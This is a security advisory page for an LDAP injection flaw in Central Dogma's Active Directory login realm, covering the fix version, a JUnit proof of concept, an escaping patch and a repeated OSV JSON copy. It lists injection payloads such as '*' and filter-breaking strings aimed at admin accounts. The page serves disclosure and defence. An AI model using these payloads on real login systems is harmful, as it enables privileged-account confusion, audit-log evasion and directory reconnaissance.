CVE-2026-11748: Central Dogma LDAP Injection Vulnerability
MODERATE
Advisory Identifier:
GHSA-98q5-5qh2-7w75
CWE-90
Published
Advisory Summary
CVE-2026-11748 is a MODERATE ldap injection vulnerability (CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')) affecting Central Dogma libraries in the Maven ecosystem. The issue involves ldap injection in searchfirstactivedirectoryrealm enables authentication confusion and audit log evasion. Remediation is available by upgrading affected packages to version 0.84.0.
CVE-2026-11748 at a Glance
CVE Identifier
CVE-2026-11748
GHSA Identifier
GHSA-98q5-5qh2-7w75
Severity
MODERATE
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
Affected Product
Central Dogma
Package Ecosystem
Maven
Published Date
Last Updated
How to Fix CVE-2026-11748
To remediate this vulnerability, upgrade all affected Central Dogma dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
com.linecorp.centraldogma:centraldogma-server-auth-shiro
fixed: 0.84.0
<dependency>
<groupId>com.linecorp.centraldogma</groupId>
<artifactId>centraldogma-server-auth-shiro</artifactId>
<version>0.84.0</version>
</dependency>
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=com.linecorp.centraldogmaHow to Check if You Are Affected
To determine whether your Java application is affected by CVE-2026-11748, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=com.linecorp.centraldogmaAnalyze the terminal output to locate any version of Central Dogma in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.84.0), your application is affected.
Note: The mvn dependency:tree -Dincludes=com.linecorp.centraldogma command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'), where the product constructs all or part of an ldap query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended ldap query when it is sent to a downstream component. In Central Dogma, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
# Vulnerability
`SearchFirstActiveDirectoryRealm.findUserDn()` substitutes the user-supplied username from the login form into an LDAP search filter template (default `cn={0}`) **without escaping RFC 4515 filter metacharacters** (`*`, `(`, `)`, `\`, NUL). Combined with `SearchControls.setCountLimit(1)` on the same call site, this allows three distinct attack primitives:
1. **Authentication confusion** — typing username `*` causes the realm to construct filter `cn=*`, return the first directory entry (typically a privileged account in AD ordering), and attempt bind against that DN with the attacker's password.
2. **Audit log evasion** — payload `bob)(uid=alice` is recorded verbatim in audit logs while the realm searches with the malformed filter, breaking accountability/compliance (SOX, PCI-DSS, ISO 27001).
3. **Directory enumeration** — wildcards and timing differences allow reconnaissance of OU structure and admin group membership.
A repo-wide search for any LDAP escape helper (`escapeLdap`, `encodeFilter`, `escapeFilter`, `ldapEscape`) returns **zero hits** — the defense is not just missing, it was never added.
> **Applicability note:** This realm is opt-in. The shipped default LDAP example (`dist/src/conf/shiro.example.ldap.ini`) uses Shiro's `DefaultLdapRealm` with `userDnTemplate` and is **NOT** affected. However, the realm exists precisely to support Active Directory environments where users log in via `sAMAccountName` and the realm must search for the DN first — the canonical LINE corporate AD-backed SSO scenario. Internal deployments using AD-backed login almost certainly select this realm.
---
## Evidence
**File:** `server-auth/shiro/src/main/java/com/linecorp/centraldogma/server/auth/shiro/realm/SearchFirstActiveDirectoryRealm.java`
**Lines 148–176** on branch `main` @ commit `d64a5151`:
```java
@Nullable
protected String findUserDn(LdapContextFactory ldapContextFactory, String username)
throws NamingException {
LdapContext ctx = null;
try {
ctx = ldapContextFactory.getSystemLdapContext();
final SearchControls ctrl = new SearchControls();
ctrl.setCountLimit(1); // line 156 — returns FIRST match only
ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);
ctrl.setTimeLimit(searchTimeoutMillis);
final String filter =
searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)
.replaceAll(username) // line 162 — RAW SUBSTITUTION
: username; // line 163
final NamingEnumeration result = ctx.search(searchBase, filter, ctrl);
...
```
`USERNAME_PLACEHOLDER = Pattern.compile("\\{0}")`. Default `searchFilter = "cn={0}"`.
### Data flow from HTTP login to vulnerable substitution
| Step | Component |
|------|-----------|
| HTTP login form | `POST /api/v1/login` form field `username` |
| `ShiroLoginService.usernamePassword()` (lines 198–223) | applies `loginNameNormalizer` (Unicode lowercase only — **NOT** LDAP escape) |
| `Subject.login(new UsernamePasswordToken(username, password))` | Shiro hand-off |
| `ActiveDirectoryRealm.doGetAuthenticationInfo` (Shiro core) | calls `queryForAuthenticationInfo0` |
| `SearchFirstActiveDirectoryRealm.findUserDn(factory, upToken.getUsername())` | username flows in **verbatim** |
### Repository-wide escape helper grep
| Search term | Hits |
|-------------|------|
| `escapeLdap` | 0 |
| `encodeFilter` | 0 |
| `escapeFilter` | 0 |
| `ldapEscape` | 0 |
---
## PoC
Self-contained JUnit 5 test using UnboundID `InMemoryDirectoryServer` (in-process, no external LDAP required). Drop into `server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/LdapInjectionPoCTest.java` and add `com.unboundid:unboundid-ldapsdk:7.0.0` as a test dependency.
> The PoC works by subclassing the realm and overriding `findUserDn()` to capture the actual LDAP filter string sent to the directory — the captured filter is the structural evidence, independent of LDAP server strictness about bind outcomes.
```java
/*
* Copyright 2026 LINE Corporation
*
* SECURITY PoC — NOT FOR MERGE INTO THE MAIN TEST SUITE.
*
* This JUnit class demonstrates the LDAP filter injection in
* SearchFirstActiveDirectoryRealm. Drop into
* server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/
* Adds the UnboundID LDAP SDK as a test dep.
*/
package com.linecorp.centraldogma.server.auth.shiro.realm;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatThrownBy;
import javax.naming.directory.SearchControls;
import javax.naming.ldap.LdapContext;
import org.apache.shiro.realm.ldap.JndiLdapContextFactory;
import org.apache.shiro.realm.ldap.LdapContextFactory;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.Entry;
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
class LdapInjectionPoCTest {
private static InMemoryDirectoryServer ds;
private static int port;
@BeforeAll
static void startLdap() throws Exception {
final InMemoryDirectoryServerConfig cfg =
new InMemoryDirectoryServerConfig("dc=example,dc=com");
cfg.addAdditionalBindCredentials("cn=admin,dc=example,dc=com", "adminpw");
cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig(
"default", null, 0, null));
ds = new InMemoryDirectoryServer(cfg);
ds.startListening();
port = ds.getListenPort();
// Directory:
// cn=admin (listed first → picked by setCountLimit(1) under wildcard)
// cn=alice
ds.add(new Entry(
"cn=admin,dc=example,dc=com",
"objectClass: top", "objectClass: person",
"cn: admin", "sn: admin",
"userPassword: adminpw"));
ds.add(new Entry(
"cn=alice,dc=example,dc=com",
"objectClass: top", "objectClass: person",
"cn: alice", "sn: doe",
"userPassword: alicepw"));
}
@AfterAll
static void stopLdap() {
if (ds != null) ds.shutDown(true);
}
/** Subclass that records the filter passed to ctx.search(). */
private static final class RecordingRealm extends SearchFirstActiveDirectoryRealm {
volatile String capturedFilter;
RecordingRealm() {
setUrl("ldap://localhost:" + port);
setSystemUsername("cn=admin,dc=example,dc=com");
setSystemPassword("adminpw");
setSearchBase("dc=example,dc=com");
setSearchFilter("cn={0}");
}
@Override
protected String findUserDn(LdapContextFactory factory, String username)
throws javax.naming.NamingException {
LdapContext ctx = null;
try {
ctx = factory.getSystemLdapContext();
final SearchControls ctrl = new SearchControls();
ctrl.setCountLimit(1);
ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);
final java.util.regex.Pattern PH =
java.util.regex.Pattern.compile("\\{0}");
final String filter = PH.matcher("cn={0}").replaceAll(username);
capturedFilter = filter;
final javax.naming.NamingEnumeration r =
ctx.search("dc=example,dc=com", filter, ctrl);
try {
if (!r.hasMore()) return null;
return r.next().getNameInNamespace();
} finally {
r.close();
}
} finally {
org.apache.shiro.realm.ldap.LdapUtils.closeContext(ctx);
}
}
}
private static LdapContextFactory factory() {
final JndiLdapContextFactory f = new JndiLdapContextFactory();
f.setUrl("ldap://localhost:" + port);
f.setSystemUsername("cn=admin,dc=example,dc=com");
f.setSystemPassword("adminpw");
return f;
}
@Test @Order(1)
@DisplayName("baseline: typing 'alice' resolves to the alice DN")
void baselineHonest() throws Exception {
final RecordingRealm realm = new RecordingRealm();
final String dn = realm.findUserDn(factory(), "alice");
assertThat(dn).isEqualTo("cn=alice,dc=example,dc=com");
assertThat(realm.capturedFilter).isEqualTo("cn=alice");
}
@Test @Order(2)
@DisplayName("VULN: typing '*' resolves to the FIRST entry (admin), not alice")
void wildcardLandsOnAdmin() throws Exception {
final RecordingRealm realm = new RecordingRealm();
final String dn = realm.findUserDn(factory(), "*");
assertThat(realm.capturedFilter).isEqualTo("cn=*");
assertThat(dn).isEqualTo("cn=admin,dc=example,dc=com");
// → If the attacker also has the admin password, they log in as admin
// while the audit log records the typed username "*".
}
@Test @Order(3)
@DisplayName("VULN: filter structure can be broken with ')' injection")
void filterStructureInjection() throws Exception {
final RecordingRealm realm = new RecordingRealm();
assertThatThrownBy(() -> realm.findUserDn(factory(), "alice)(uid=*"))
.hasMessageContaining("filter")
.hasMessageContaining("malformed")
.matches(t -> t instanceof javax.naming.NamingException ||
t.getCause() instanceof javax.naming.NamingException);
assertThat(realm.capturedFilter).isEqualTo("cn=alice)(uid=*");
}
@Test @Order(4)
@DisplayName("VULN: AND-injection can broaden the result set silently")
void andInjectionBroadens() throws Exception {
final RecordingRealm realm = new RecordingRealm();
try {
realm.findUserDn(factory(), "x)(|(cn=alice)(cn=admin");
} catch (Exception ignored) { /* server may reject */ }
assertThat(realm.capturedFilter).contains(")(|(");
}
}
```
### Build dependency (`server-auth/shiro/build.gradle`)
```groovy
dependencies {
testImplementation 'com.unboundid:unboundid-ldapsdk:7.0.0'
}
```
### Run
```bash
./gradlew :server-auth-shiro:test \
--tests com.linecorp.centraldogma.server.auth.shiro.realm.LdapInjectionPoCTest \
--info
```
### Expected output (VULNERABLE — current code)
```
LdapInjectionPoCTest > baselineHonest PASSED
LdapInjectionPoCTest > wildcardLandsOnAdmin PASSED ← VULN
LdapInjectionPoCTest > filterStructureInjection PASSED ← VULN
LdapInjectionPoCTest > andInjectionBroadens PASSED ← VULN
```
After the patch is applied (RFC 4515 escape helper), the VULN tests fail in a specific way, e.g. `Expected captured filter to be "cn=*" but was "cn=\2a"` — they then serve as regression tests by flipping the assertions.
---
## Impact
**Threat model:** any unauthenticated network client that can reach the Central Dogma login page. No prior account, no MITM position required — the attack is performed during a normal login request.
1. **Authentication confusion** — In AD environments that select this realm (the canonical LINE corporate scenario), typing username `*` causes the realm to look up the first directory entry (typically `Administrator`, `admin`, or a service account in alphabetical AD ordering) and attempt bind with the attacker's password. If the attacker also possesses any valid user's password — easily obtained via password reuse, accidental Slack leak, repo commit, or peer compromise — and that password happens to authenticate the first directory entry (rare but devastating), the attacker logs in as a privileged user while audit logs record the literal username `*`.
2. **Audit log evasion / compliance failure** — Payloads like `bob)(uid=alice` are logged verbatim while the LDAP filter is malformed. Central Dogma's audit trail is a primary control for configuration change accountability. Loss of accountability constitutes a direct violation of **SOX §404**, **PCI-DSS §10**, **ISO 27001 A.12.4**.
3. **Directory enumeration** — Wildcard payloads (`a*`, `b*`, …) combined with timing analysis allow blind enumeration of corporate AD structure: user existence, OU layout, admin group membership. While AD structure is not strictly secret, leaking it from an internet-exposed Central Dogma feeds spear-phishing target lists.
4. **Group-membership filter injection** — Payload `a)(objectClass=*)(memberOf=CN=Domain Admins,...` (against the common AD filter `(&(objectClass=user)(sAMAccountName={0}))`) narrows the search to Domain Admin members and returns the first one. The attacker need only know any Domain Admin's password (separately compromised) to land in Central Dogma as that user. AD itself is not breached, but Central Dogma's view of the principal is.
> **Scope is Changed (CVSS)** because the injection traverses the trust boundary between Central Dogma and the separate AD/LDAP security authority.
---
## How to fix
Add an RFC 4515 §3 filter escape helper and apply it before substitution:
```java
// SearchFirstActiveDirectoryRealm.java
static String encodeLdapFilter(String v) {
if (v == null) return "";
final StringBuilder sb = new StringBuilder(v.length());
for (int i = 0; i < v.length(); i++) {
final char c = v.charAt(i);
switch (c) {
case '\\': sb.append("\\5c"); break;
case '*': sb.append("\\2a"); break;
case '(': sb.append("\\28"); break;
case ')': sb.append("\\29"); break;
case '\0': sb.append("\\00"); break;
default: sb.append(c);
}
}
return sb.toString();
}
// inside findUserDn():
final String escaped = encodeLdapFilter(username);
final String filter =
searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)
.replaceAll(Matcher.quoteReplacement(escaped))
: escaped;
```
**Notes:**
- `Matcher.quoteReplacement` is required because the escape produces backslashes (`\5c`) that `Matcher.replaceAll` would otherwise interpret as backreferences.
- DN escape (RFC 4514) is a different alphabet — not needed here because the username is used in a **filter**, not a DN. If a future change uses the username to build a DN, RFC 4514 escape must be added separately.
- **Do not** rely on `loginNameNormalizer` for this defense — it is Unicode lowercase only.
### Regression tests (drop into same test class)
```java
@Test
void escapeBlocksFilterInjection() {
assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("*")).isEqualTo("\\2a");
assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("alice)(uid=*"))
.isEqualTo("alice\\29\\28uid=\\2a");
assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("a\\b")).isEqualTo("a\\5cb");
}
```
CVE-2026-11748 Affected Central Dogma Versions
1 component(s)
Fixed Versions:
0.84.0
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
com.linecorp.centraldogma:centraldogma-server-auth-shiro
|
Maven |
< 0.84.0
|
0.84.0
|
References
Frequently Asked Questions
What is CVE-2026-11748?
CVE-2026-11748 is a security vulnerability in Central Dogma involving LDAP injection in SearchFirstActiveDirectoryRealm enables authentication confusion and audit log evasion under CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection').
Which Central Dogma versions are affected?
Affected versions include releases prior to 0.84.0 across affected packages: com.linecorp.centraldogma:centraldogma-server-auth-shiro.
What version fixes CVE-2026-11748?
Upgrading to 0.84.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is centraldogma-server-auth-shiro affected?
Yes, com.linecorp.centraldogma:centraldogma-server-auth-shiro is affected in releases prior to 0.84.0. Upgrade your dependency to 0.84.0 or later.
What CWE is associated with CVE-2026-11748?
CVE-2026-11748 is classified under CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.).
How can I check Maven dependencies for CVE-2026-11748?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=com.linecorp.centraldogma'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-98q5-5qh2-7w75",
"modified" : "2026-09-11T20:43:48Z",
"published" : "2026-09-11T20:43:48Z",
"aliases" : [ "CVE-2026-11748" ],
"summary" : "Central Dogma: LDAP injection in SearchFirstActiveDirectoryRealm enables authentication confusion and audit log evasion",
"details" : "# Vulnerability\n\n`SearchFirstActiveDirectoryRealm.findUserDn()` substitutes the user-supplied username from the login form into an LDAP search filter template (default `cn={0}`) **without escaping RFC 4515 filter metacharacters** (`*`, `(`, `)`, `\\`, NUL). Combined with `SearchControls.setCountLimit(1)` on the same call site, this allows three distinct attack primitives:\n\n1. **Authentication confusion** — typing username `*` causes the realm to construct filter `cn=*`, return the first directory entry (typically a privileged account in AD ordering), and attempt bind against that DN with the attacker's password.\n2. **Audit log evasion** — payload `bob)(uid=alice` is recorded verbatim in audit logs while the realm searches with the malformed filter, breaking accountability/compliance (SOX, PCI-DSS, ISO 27001).\n3. **Directory enumeration** — wildcards and timing differences allow reconnaissance of OU structure and admin group membership.\n\nA repo-wide search for any LDAP escape helper (`escapeLdap`, `encodeFilter`, `escapeFilter`, `ldapEscape`) returns **zero hits** — the defense is not just missing, it was never added.\n\n> **Applicability note:** This realm is opt-in. The shipped default LDAP example (`dist/src/conf/shiro.example.ldap.ini`) uses Shiro's `DefaultLdapRealm` with `userDnTemplate` and is **NOT** affected. However, the realm exists precisely to support Active Directory environments where users log in via `sAMAccountName` and the realm must search for the DN first — the canonical LINE corporate AD-backed SSO scenario. Internal deployments using AD-backed login almost certainly select this realm.\n\n---\n\n## Evidence\n\n**File:** `server-auth/shiro/src/main/java/com/linecorp/centraldogma/server/auth/shiro/realm/SearchFirstActiveDirectoryRealm.java`\n**Lines 148–176** on branch `main` @ commit `d64a5151`:\n\n```java\n@Nullable\nprotected String findUserDn(LdapContextFactory ldapContextFactory, String username)\n throws NamingException {\n LdapContext ctx = null;\n try {\n ctx = ldapContextFactory.getSystemLdapContext();\n\n final SearchControls ctrl = new SearchControls();\n ctrl.setCountLimit(1); // line 156 — returns FIRST match only\n ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);\n ctrl.setTimeLimit(searchTimeoutMillis);\n\n final String filter =\n searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)\n .replaceAll(username) // line 162 — RAW SUBSTITUTION\n : username; // line 163\n final NamingEnumeration result = ctx.search(searchBase, filter, ctrl);\n ...\n```\n\n`USERNAME_PLACEHOLDER = Pattern.compile(\"\\\\{0}\")`. Default `searchFilter = \"cn={0}\"`.\n\n### Data flow from HTTP login to vulnerable substitution\n\n| Step | Component |\n|------|-----------|\n| HTTP login form | `POST /api/v1/login` form field `username` |\n| `ShiroLoginService.usernamePassword()` (lines 198–223) | applies `loginNameNormalizer` (Unicode lowercase only — **NOT** LDAP escape) |\n| `Subject.login(new UsernamePasswordToken(username, password))` | Shiro hand-off |\n| `ActiveDirectoryRealm.doGetAuthenticationInfo` (Shiro core) | calls `queryForAuthenticationInfo0` |\n| `SearchFirstActiveDirectoryRealm.findUserDn(factory, upToken.getUsername())` | username flows in **verbatim** |\n\n### Repository-wide escape helper grep\n\n| Search term | Hits |\n|-------------|------|\n| `escapeLdap` | 0 |\n| `encodeFilter` | 0 |\n| `escapeFilter` | 0 |\n| `ldapEscape` | 0 |\n\n---\n\n## PoC\n\nSelf-contained JUnit 5 test using UnboundID `InMemoryDirectoryServer` (in-process, no external LDAP required). Drop into `server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/LdapInjectionPoCTest.java` and add `com.unboundid:unboundid-ldapsdk:7.0.0` as a test dependency.\n\n> The PoC works by subclassing the realm and overriding `findUserDn()` to capture the actual LDAP filter string sent to the directory — the captured filter is the structural evidence, independent of LDAP server strictness about bind outcomes.\n\n```java\n/*\n * Copyright 2026 LINE Corporation\n *\n * SECURITY PoC — NOT FOR MERGE INTO THE MAIN TEST SUITE.\n *\n * This JUnit class demonstrates the LDAP filter injection in\n * SearchFirstActiveDirectoryRealm. Drop into\n * server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/\n * Adds the UnboundID LDAP SDK as a test dep.\n */\npackage com.linecorp.centraldogma.server.auth.shiro.realm;\n\nimport static org.assertj.core.api.Assertions.assertThat;\nimport static org.assertj.core.api.Assertions.assertThatThrownBy;\n\nimport javax.naming.directory.SearchControls;\nimport javax.naming.ldap.LdapContext;\n\nimport org.apache.shiro.realm.ldap.JndiLdapContextFactory;\nimport org.apache.shiro.realm.ldap.LdapContextFactory;\nimport org.junit.jupiter.api.AfterAll;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.DisplayName;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.TestMethodOrder;\nimport org.junit.jupiter.api.MethodOrderer;\nimport org.junit.jupiter.api.Order;\n\nimport com.unboundid.ldap.listener.InMemoryDirectoryServer;\nimport com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;\nimport com.unboundid.ldap.listener.InMemoryListenerConfig;\nimport com.unboundid.ldap.sdk.Entry;\n\n@TestMethodOrder(MethodOrderer.OrderAnnotation.class)\nclass LdapInjectionPoCTest {\n\n private static InMemoryDirectoryServer ds;\n private static int port;\n\n @BeforeAll\n static void startLdap() throws Exception {\n final InMemoryDirectoryServerConfig cfg =\n new InMemoryDirectoryServerConfig(\"dc=example,dc=com\");\n cfg.addAdditionalBindCredentials(\"cn=admin,dc=example,dc=com\", \"adminpw\");\n cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig(\n \"default\", null, 0, null));\n ds = new InMemoryDirectoryServer(cfg);\n ds.startListening();\n port = ds.getListenPort();\n\n // Directory:\n // cn=admin (listed first → picked by setCountLimit(1) under wildcard)\n // cn=alice\n ds.add(new Entry(\n \"cn=admin,dc=example,dc=com\",\n \"objectClass: top\", \"objectClass: person\",\n \"cn: admin\", \"sn: admin\",\n \"userPassword: adminpw\"));\n ds.add(new Entry(\n \"cn=alice,dc=example,dc=com\",\n \"objectClass: top\", \"objectClass: person\",\n \"cn: alice\", \"sn: doe\",\n \"userPassword: alicepw\"));\n }\n\n @AfterAll\n static void stopLdap() {\n if (ds != null) ds.shutDown(true);\n }\n\n /** Subclass that records the filter passed to ctx.search(). */\n private static final class RecordingRealm extends SearchFirstActiveDirectoryRealm {\n volatile String capturedFilter;\n\n RecordingRealm() {\n setUrl(\"ldap://localhost:\" + port);\n setSystemUsername(\"cn=admin,dc=example,dc=com\");\n setSystemPassword(\"adminpw\");\n setSearchBase(\"dc=example,dc=com\");\n setSearchFilter(\"cn={0}\");\n }\n\n @Override\n protected String findUserDn(LdapContextFactory factory, String username)\n throws javax.naming.NamingException {\n LdapContext ctx = null;\n try {\n ctx = factory.getSystemLdapContext();\n final SearchControls ctrl = new SearchControls();\n ctrl.setCountLimit(1);\n ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);\n\n final java.util.regex.Pattern PH =\n java.util.regex.Pattern.compile(\"\\\\{0}\");\n final String filter = PH.matcher(\"cn={0}\").replaceAll(username);\n capturedFilter = filter;\n\n final javax.naming.NamingEnumeration r =\n ctx.search(\"dc=example,dc=com\", filter, ctrl);\n try {\n if (!r.hasMore()) return null;\n return r.next().getNameInNamespace();\n } finally {\n r.close();\n }\n } finally {\n org.apache.shiro.realm.ldap.LdapUtils.closeContext(ctx);\n }\n }\n }\n\n private static LdapContextFactory factory() {\n final JndiLdapContextFactory f = new JndiLdapContextFactory();\n f.setUrl(\"ldap://localhost:\" + port);\n f.setSystemUsername(\"cn=admin,dc=example,dc=com\");\n f.setSystemPassword(\"adminpw\");\n return f;\n }\n\n @Test @Order(1)\n @DisplayName(\"baseline: typing 'alice' resolves to the alice DN\")\n void baselineHonest() throws Exception {\n final RecordingRealm realm = new RecordingRealm();\n final String dn = realm.findUserDn(factory(), \"alice\");\n assertThat(dn).isEqualTo(\"cn=alice,dc=example,dc=com\");\n assertThat(realm.capturedFilter).isEqualTo(\"cn=alice\");\n }\n\n @Test @Order(2)\n @DisplayName(\"VULN: typing '*' resolves to the FIRST entry (admin), not alice\")\n void wildcardLandsOnAdmin() throws Exception {\n final RecordingRealm realm = new RecordingRealm();\n final String dn = realm.findUserDn(factory(), \"*\");\n assertThat(realm.capturedFilter).isEqualTo(\"cn=*\");\n assertThat(dn).isEqualTo(\"cn=admin,dc=example,dc=com\");\n // → If the attacker also has the admin password, they log in as admin\n // while the audit log records the typed username \"*\".\n }\n\n @Test @Order(3)\n @DisplayName(\"VULN: filter structure can be broken with ')' injection\")\n void filterStructureInjection() throws Exception {\n final RecordingRealm realm = new RecordingRealm();\n assertThatThrownBy(() -> realm.findUserDn(factory(), \"alice)(uid=*\"))\n .hasMessageContaining(\"filter\")\n .hasMessageContaining(\"malformed\")\n .matches(t -> t instanceof javax.naming.NamingException ||\n t.getCause() instanceof javax.naming.NamingException);\n assertThat(realm.capturedFilter).isEqualTo(\"cn=alice)(uid=*\");\n }\n\n @Test @Order(4)\n @DisplayName(\"VULN: AND-injection can broaden the result set silently\")\n void andInjectionBroadens() throws Exception {\n final RecordingRealm realm = new RecordingRealm();\n try {\n realm.findUserDn(factory(), \"x)(|(cn=alice)(cn=admin\");\n } catch (Exception ignored) { /* server may reject */ }\n assertThat(realm.capturedFilter).contains(\")(|(\");\n }\n}\n```\n\n### Build dependency (`server-auth/shiro/build.gradle`)\n\n```groovy\ndependencies {\n testImplementation 'com.unboundid:unboundid-ldapsdk:7.0.0'\n}\n```\n\n### Run\n\n```bash\n./gradlew :server-auth-shiro:test \\\n --tests com.linecorp.centraldogma.server.auth.shiro.realm.LdapInjectionPoCTest \\\n --info\n```\n\n### Expected output (VULNERABLE — current code)\n\n```\nLdapInjectionPoCTest > baselineHonest PASSED\nLdapInjectionPoCTest > wildcardLandsOnAdmin PASSED ← VULN\nLdapInjectionPoCTest > filterStructureInjection PASSED ← VULN\nLdapInjectionPoCTest > andInjectionBroadens PASSED ← VULN\n```\n\nAfter the patch is applied (RFC 4515 escape helper), the VULN tests fail in a specific way, e.g. `Expected captured filter to be \"cn=*\" but was \"cn=\\2a\"` — they then serve as regression tests by flipping the assertions.\n\n---\n\n## Impact\n\n**Threat model:** any unauthenticated network client that can reach the Central Dogma login page. No prior account, no MITM position required — the attack is performed during a normal login request.\n\n1. **Authentication confusion** — In AD environments that select this realm (the canonical LINE corporate scenario), typing username `*` causes the realm to look up the first directory entry (typically `Administrator`, `admin`, or a service account in alphabetical AD ordering) and attempt bind with the attacker's password. If the attacker also possesses any valid user's password — easily obtained via password reuse, accidental Slack leak, repo commit, or peer compromise — and that password happens to authenticate the first directory entry (rare but devastating), the attacker logs in as a privileged user while audit logs record the literal username `*`.\n\n2. **Audit log evasion / compliance failure** — Payloads like `bob)(uid=alice` are logged verbatim while the LDAP filter is malformed. Central Dogma's audit trail is a primary control for configuration change accountability. Loss of accountability constitutes a direct violation of **SOX §404**, **PCI-DSS §10**, **ISO 27001 A.12.4**.\n\n3. **Directory enumeration** — Wildcard payloads (`a*`, `b*`, …) combined with timing analysis allow blind enumeration of corporate AD structure: user existence, OU layout, admin group membership. While AD structure is not strictly secret, leaking it from an internet-exposed Central Dogma feeds spear-phishing target lists.\n\n4. **Group-membership filter injection** — Payload `a)(objectClass=*)(memberOf=CN=Domain Admins,...` (against the common AD filter `(&(objectClass=user)(sAMAccountName={0}))`) narrows the search to Domain Admin members and returns the first one. The attacker need only know any Domain Admin's password (separately compromised) to land in Central Dogma as that user. AD itself is not breached, but Central Dogma's view of the principal is.\n\n> **Scope is Changed (CVSS)** because the injection traverses the trust boundary between Central Dogma and the separate AD/LDAP security authority.\n\n---\n\n## How to fix\n\nAdd an RFC 4515 §3 filter escape helper and apply it before substitution:\n\n```java\n// SearchFirstActiveDirectoryRealm.java\nstatic String encodeLdapFilter(String v) {\n if (v == null) return \"\";\n final StringBuilder sb = new StringBuilder(v.length());\n for (int i = 0; i < v.length(); i++) {\n final char c = v.charAt(i);\n switch (c) {\n case '\\\\': sb.append(\"\\\\5c\"); break;\n case '*': sb.append(\"\\\\2a\"); break;\n case '(': sb.append(\"\\\\28\"); break;\n case ')': sb.append(\"\\\\29\"); break;\n case '\\0': sb.append(\"\\\\00\"); break;\n default: sb.append(c);\n }\n }\n return sb.toString();\n}\n\n// inside findUserDn():\nfinal String escaped = encodeLdapFilter(username);\nfinal String filter =\n searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)\n .replaceAll(Matcher.quoteReplacement(escaped))\n : escaped;\n```\n\n**Notes:**\n\n- `Matcher.quoteReplacement` is required because the escape produces backslashes (`\\5c`) that `Matcher.replaceAll` would otherwise interpret as backreferences.\n- DN escape (RFC 4514) is a different alphabet — not needed here because the username is used in a **filter**, not a DN. If a future change uses the username to build a DN, RFC 4514 escape must be added separately.\n- **Do not** rely on `loginNameNormalizer` for this defense — it is Unicode lowercase only.\n\n### Regression tests (drop into same test class)\n\n```java\n@Test\nvoid escapeBlocksFilterInjection() {\n assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter(\"*\")).isEqualTo(\"\\\\2a\");\n assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter(\"alice)(uid=*\"))\n .isEqualTo(\"alice\\\\29\\\\28uid=\\\\2a\");\n assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter(\"a\\\\b\")).isEqualTo(\"a\\\\5cb\");\n}\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "com.linecorp.centraldogma:centraldogma-server-auth-shiro"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.84.0"
} ]
} ]
} ],
